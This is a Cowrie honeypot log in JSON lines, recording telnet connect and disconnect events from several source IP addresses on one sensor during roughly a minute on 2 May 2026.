{"eventid":"cowrie.session.closed","duration":7.912460565567017,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:23.928791Z","src_ip":"174.138.46.234","session":"be19a9f524bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.846781015396118,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:24.652910Z","src_ip":"174.138.46.234","session":"5e840241c7e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920966625213623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:26.097577Z","src_ip":"86.120.107.100","session":"f1fc4128a327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22446918487549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:26.551296Z","src_ip":"199.231.212.75","session":"b1735f7cb63c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":60494,"dst_ip":"10.17.0.5","dst_port":23,"session":"324bc07e3f05","protocol":"telnet","message":"New connection: 86.120.107.100:60494 (10.17.0.5:23) [session: 324bc07e3f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:27.012307Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46168,"dst_ip":"10.17.0.5","dst_port":23,"session":"829dd83e0d96","protocol":"telnet","message":"New connection: 199.231.212.75:46168 (10.17.0.5:23) [session: 829dd83e0d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:27.017892Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":60508,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef3baa9b238a","protocol":"telnet","message":"New connection: 86.120.107.100:60508 (10.17.0.5:23) [session: ef3baa9b238a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:27.258176Z"}
{"eventid":"cowrie.session.closed","duration":31.095800161361694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:28.108522Z","src_ip":"199.231.212.75","session":"fb1410c89197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85222363471985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:28.800647Z","src_ip":"199.231.212.75","session":"ed2f067ab299","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46170,"dst_ip":"10.17.0.5","dst_port":23,"session":"e257580b3c85","protocol":"telnet","message":"New connection: 199.231.212.75:46170 (10.17.0.5:23) [session: e257580b3c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:28.972445Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":60562,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c659e48afb6","protocol":"telnet","message":"New connection: 164.68.122.45:60562 (10.17.0.5:23) [session: 3c659e48afb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:30.311019Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":45124,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ee36c2c425b","protocol":"telnet","message":"New connection: 199.231.212.75:45124 (10.17.0.5:23) [session: 9ee36c2c425b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:31.074620Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":45134,"dst_ip":"10.17.0.5","dst_port":23,"session":"3378054d09f7","protocol":"telnet","message":"New connection: 199.231.212.75:45134 (10.17.0.5:23) [session: 3378054d09f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:31.736523Z"}
{"eventid":"cowrie.session.closed","duration":30.459880352020264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:33.106176Z","src_ip":"86.120.107.100","session":"e0b8610da0d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":60572,"dst_ip":"10.17.0.5","dst_port":23,"session":"37fdae2c282b","protocol":"telnet","message":"New connection: 164.68.122.45:60572 (10.17.0.5:23) [session: 37fdae2c282b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:33.316653Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":60578,"dst_ip":"10.17.0.5","dst_port":23,"session":"701c25135d9c","protocol":"telnet","message":"New connection: 164.68.122.45:60578 (10.17.0.5:23) [session: 701c25135d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:35.194351Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":60580,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a5504ee639","protocol":"telnet","message":"New connection: 164.68.122.45:60580 (10.17.0.5:23) [session: 87a5504ee639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:35.285938Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":34240,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67b3fbc2e76","protocol":"telnet","message":"New connection: 86.120.107.100:34240 (10.17.0.5:23) [session: e67b3fbc2e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:35.838226Z"}
{"eventid":"cowrie.session.closed","duration":30.757243394851685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:36.094484Z","src_ip":"86.120.107.100","session":"33368ec0ad4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.290971517562866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:36.353196Z","src_ip":"86.120.107.100","session":"62225b6d6eae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":45144,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46dc4412f57","protocol":"telnet","message":"New connection: 199.231.212.75:45144 (10.17.0.5:23) [session: d46dc4412f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:37.321185Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49564,"dst_ip":"10.17.0.5","dst_port":23,"session":"332ee9443062","protocol":"telnet","message":"New connection: 199.231.212.75:49564 (10.17.0.5:23) [session: 332ee9443062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:41.235316Z"}
{"eventid":"cowrie.session.closed","duration":30.420489072799683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:43.354420Z","src_ip":"199.231.212.75","session":"7cfb356f4440","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49572,"dst_ip":"10.17.0.5","dst_port":23,"session":"987b63a5369e","protocol":"telnet","message":"New connection: 199.231.212.75:49572 (10.17.0.5:23) [session: 987b63a5369e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:43.364730Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":34246,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e6040b75f8f","protocol":"telnet","message":"New connection: 86.120.107.100:34246 (10.17.0.5:23) [session: 4e6040b75f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:44.020341Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":44964,"dst_ip":"10.17.0.5","dst_port":23,"session":"85cb017cdd81","protocol":"telnet","message":"New connection: 164.68.122.45:44964 (10.17.0.5:23) [session: 85cb017cdd81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:44.433323Z"}
{"eventid":"cowrie.session.closed","duration":30.922941207885742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:44.676445Z","src_ip":"86.120.107.100","session":"3fe426d8d284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf1c0fc547e","protocol":"telnet","message":"New connection: 199.231.212.75:49588 (10.17.0.5:23) [session: fcf1c0fc547e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:45.137711Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":45006,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c0946d402cf","protocol":"telnet","message":"New connection: 164.68.122.45:45006 (10.17.0.5:23) [session: 3c0946d402cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:45.161090Z"}
{"eventid":"cowrie.session.closed","duration":31.349679946899414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:45.303076Z","src_ip":"164.68.122.45","session":"8a3c2ff87574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190437078475952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:45.967266Z","src_ip":"164.68.122.45","session":"f459a7413dba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087372064590454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:47.083678Z","src_ip":"86.120.107.100","session":"c3a429fb5802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":45188,"dst_ip":"10.17.0.5","dst_port":23,"session":"248dde1e4ef7","protocol":"telnet","message":"New connection: 164.68.122.45:45188 (10.17.0.5:23) [session: 248dde1e4ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:48.039930Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49590,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be70c682e3a","protocol":"telnet","message":"New connection: 199.231.212.75:49590 (10.17.0.5:23) [session: 4be70c682e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:48.354854Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":49210,"dst_ip":"10.17.0.5","dst_port":23,"session":"f757b0ecb91e","protocol":"telnet","message":"New connection: 86.120.107.100:49210 (10.17.0.5:23) [session: f757b0ecb91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:48.372502Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42910,"dst_ip":"10.17.0.5","dst_port":23,"session":"d09662ca4e5f","protocol":"telnet","message":"New connection: 199.231.212.75:42910 (10.17.0.5:23) [session: d09662ca4e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:50.957434Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":49212,"dst_ip":"10.17.0.5","dst_port":23,"session":"11bf826f0f48","protocol":"telnet","message":"New connection: 86.120.107.100:49212 (10.17.0.5:23) [session: 11bf826f0f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:52.381158Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf60394a077c","protocol":"telnet","message":"New connection: 164.68.122.45:34316 (10.17.0.5:23) [session: bf60394a077c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:52.637612Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42924,"dst_ip":"10.17.0.5","dst_port":23,"session":"c168dfc3147f","protocol":"telnet","message":"New connection: 199.231.212.75:42924 (10.17.0.5:23) [session: c168dfc3147f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:52.703912Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42934,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1589849a97","protocol":"telnet","message":"New connection: 199.231.212.75:42934 (10.17.0.5:23) [session: 4e1589849a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:52.788470Z"}
{"eventid":"cowrie.session.closed","duration":30.16341233253479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:53.074525Z","src_ip":"199.231.212.75","session":"0c3936efccc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42942,"dst_ip":"10.17.0.5","dst_port":23,"session":"84890bf24a88","protocol":"telnet","message":"New connection: 199.231.212.75:42942 (10.17.0.5:23) [session: 84890bf24a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:53.492430Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42958,"dst_ip":"10.17.0.5","dst_port":23,"session":"598ea962ba98","protocol":"telnet","message":"New connection: 199.231.212.75:42958 (10.17.0.5:23) [session: 598ea962ba98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:55.548835Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34326,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8fcc6ed75ba","protocol":"telnet","message":"New connection: 164.68.122.45:34326 (10.17.0.5:23) [session: f8fcc6ed75ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:56.306242Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34334,"dst_ip":"10.17.0.5","dst_port":23,"session":"347a5b9d5570","protocol":"telnet","message":"New connection: 164.68.122.45:34334 (10.17.0.5:23) [session: 347a5b9d5570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:56.798953Z"}
{"eventid":"cowrie.session.closed","duration":31.250446319580078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:58.268285Z","src_ip":"199.231.212.75","session":"829dd83e0d96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34346,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12664e60f22","protocol":"telnet","message":"New connection: 164.68.122.45:34346 (10.17.0.5:23) [session: d12664e60f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:58.321161Z"}
{"eventid":"cowrie.session.closed","duration":31.623821258544922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:58.636013Z","src_ip":"86.120.107.100","session":"324bc07e3f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42968,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6d4de2afe2d","protocol":"telnet","message":"New connection: 199.231.212.75:42968 (10.17.0.5:23) [session: a6d4de2afe2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:58.734781Z"}
{"eventid":"cowrie.session.closed","duration":31.59290623664856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:58.850965Z","src_ip":"86.120.107.100","session":"ef3baa9b238a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02004861831665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:27:59.992389Z","src_ip":"199.231.212.75","session":"e257580b3c85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11012887954712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:01.420993Z","src_ip":"164.68.122.45","session":"3c659e48afb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95686435699463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:02.031398Z","src_ip":"199.231.212.75","session":"9ee36c2c425b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79821014404297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:02.534607Z","src_ip":"199.231.212.75","session":"3378054d09f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34004,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b81e3edea4","protocol":"telnet","message":"New connection: 164.68.122.45:34004 (10.17.0.5:23) [session: 45b81e3edea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:02.764429Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":42790,"dst_ip":"10.17.0.5","dst_port":23,"session":"9123275f77b3","protocol":"telnet","message":"New connection: 86.120.107.100:42790 (10.17.0.5:23) [session: 9123275f77b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:02.927725Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48868,"dst_ip":"10.17.0.5","dst_port":23,"session":"49ecb4cf0a25","protocol":"telnet","message":"New connection: 199.231.212.75:48868 (10.17.0.5:23) [session: 49ecb4cf0a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:03.515987Z"}
{"eventid":"cowrie.session.closed","duration":30.78678059577942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:04.103346Z","src_ip":"164.68.122.45","session":"37fdae2c282b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":42798,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bff30109377","protocol":"telnet","message":"New connection: 86.120.107.100:42798 (10.17.0.5:23) [session: 3bff30109377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:04.491849Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34020,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e4719b74d9","protocol":"telnet","message":"New connection: 164.68.122.45:34020 (10.17.0.5:23) [session: 01e4719b74d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:04.569528Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48872,"dst_ip":"10.17.0.5","dst_port":23,"session":"e437e26b210f","protocol":"telnet","message":"New connection: 199.231.212.75:48872 (10.17.0.5:23) [session: e437e26b210f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:05.373017Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48876,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a5f4a30e16","protocol":"telnet","message":"New connection: 199.231.212.75:48876 (10.17.0.5:23) [session: a9a5f4a30e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:05.664350Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"f69423ef7518","protocol":"telnet","message":"New connection: 164.68.122.45:34032 (10.17.0.5:23) [session: f69423ef7518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:05.704250Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48890,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ee7c6d0327a","protocol":"telnet","message":"New connection: 199.231.212.75:48890 (10.17.0.5:23) [session: 7ee7c6d0327a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:05.797225Z"}
{"eventid":"cowrie.session.closed","duration":30.26573896408081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:06.103826Z","src_ip":"86.120.107.100","session":"e67b3fbc2e76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823103666305542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:06.108939Z","src_ip":"164.68.122.45","session":"87a5504ee639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81172800064087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:07.005958Z","src_ip":"164.68.122.45","session":"701c25135d9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48902,"dst_ip":"10.17.0.5","dst_port":23,"session":"b285cdc56a8a","protocol":"telnet","message":"New connection: 199.231.212.75:48902 (10.17.0.5:23) [session: b285cdc56a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:07.020760Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34042,"dst_ip":"10.17.0.5","dst_port":23,"session":"522b01750896","protocol":"telnet","message":"New connection: 164.68.122.45:34042 (10.17.0.5:23) [session: 522b01750896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:08.365688Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34048,"dst_ip":"10.17.0.5","dst_port":23,"session":"af83c61f4f3d","protocol":"telnet","message":"New connection: 164.68.122.45:34048 (10.17.0.5:23) [session: af83c61f4f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:08.477931Z"}
{"eventid":"cowrie.session.closed","duration":31.205750942230225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:08.526815Z","src_ip":"199.231.212.75","session":"d46dc4412f57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.100.17.154","src_port":1888,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1d5ffe93d0a","protocol":"telnet","message":"New connection: 103.100.17.154:1888 (159.203.135.109:23) [session: b1d5ffe93d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:08.731063Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34060,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b891212764f","protocol":"telnet","message":"New connection: 164.68.122.45:34060 (10.17.0.5:23) [session: 5b891212764f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:09.104015Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56776,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c164a52ad9","protocol":"telnet","message":"New connection: 164.68.122.45:56776 (10.17.0.5:23) [session: 47c164a52ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:10.128045Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":49700,"dst_ip":"10.17.0.5","dst_port":23,"session":"71fae388dd3a","protocol":"telnet","message":"New connection: 86.120.107.100:49700 (10.17.0.5:23) [session: 71fae388dd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:10.161405Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":57046,"dst_ip":"10.17.0.5","dst_port":23,"session":"48cf841eb0db","protocol":"telnet","message":"New connection: 199.231.212.75:57046 (10.17.0.5:23) [session: 48cf841eb0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:10.313097Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":57054,"dst_ip":"10.17.0.5","dst_port":23,"session":"08dbca4047a5","protocol":"telnet","message":"New connection: 199.231.212.75:57054 (10.17.0.5:23) [session: 08dbca4047a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:10.522162Z"}
{"eventid":"cowrie.session.closed","duration":51.343024492263794,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:10.887524Z","src_ip":"174.138.46.234","session":"a39c0053a696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56782,"dst_ip":"10.17.0.5","dst_port":23,"session":"81441d0a9077","protocol":"telnet","message":"New connection: 164.68.122.45:56782 (10.17.0.5:23) [session: 81441d0a9077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:11.278606Z"}
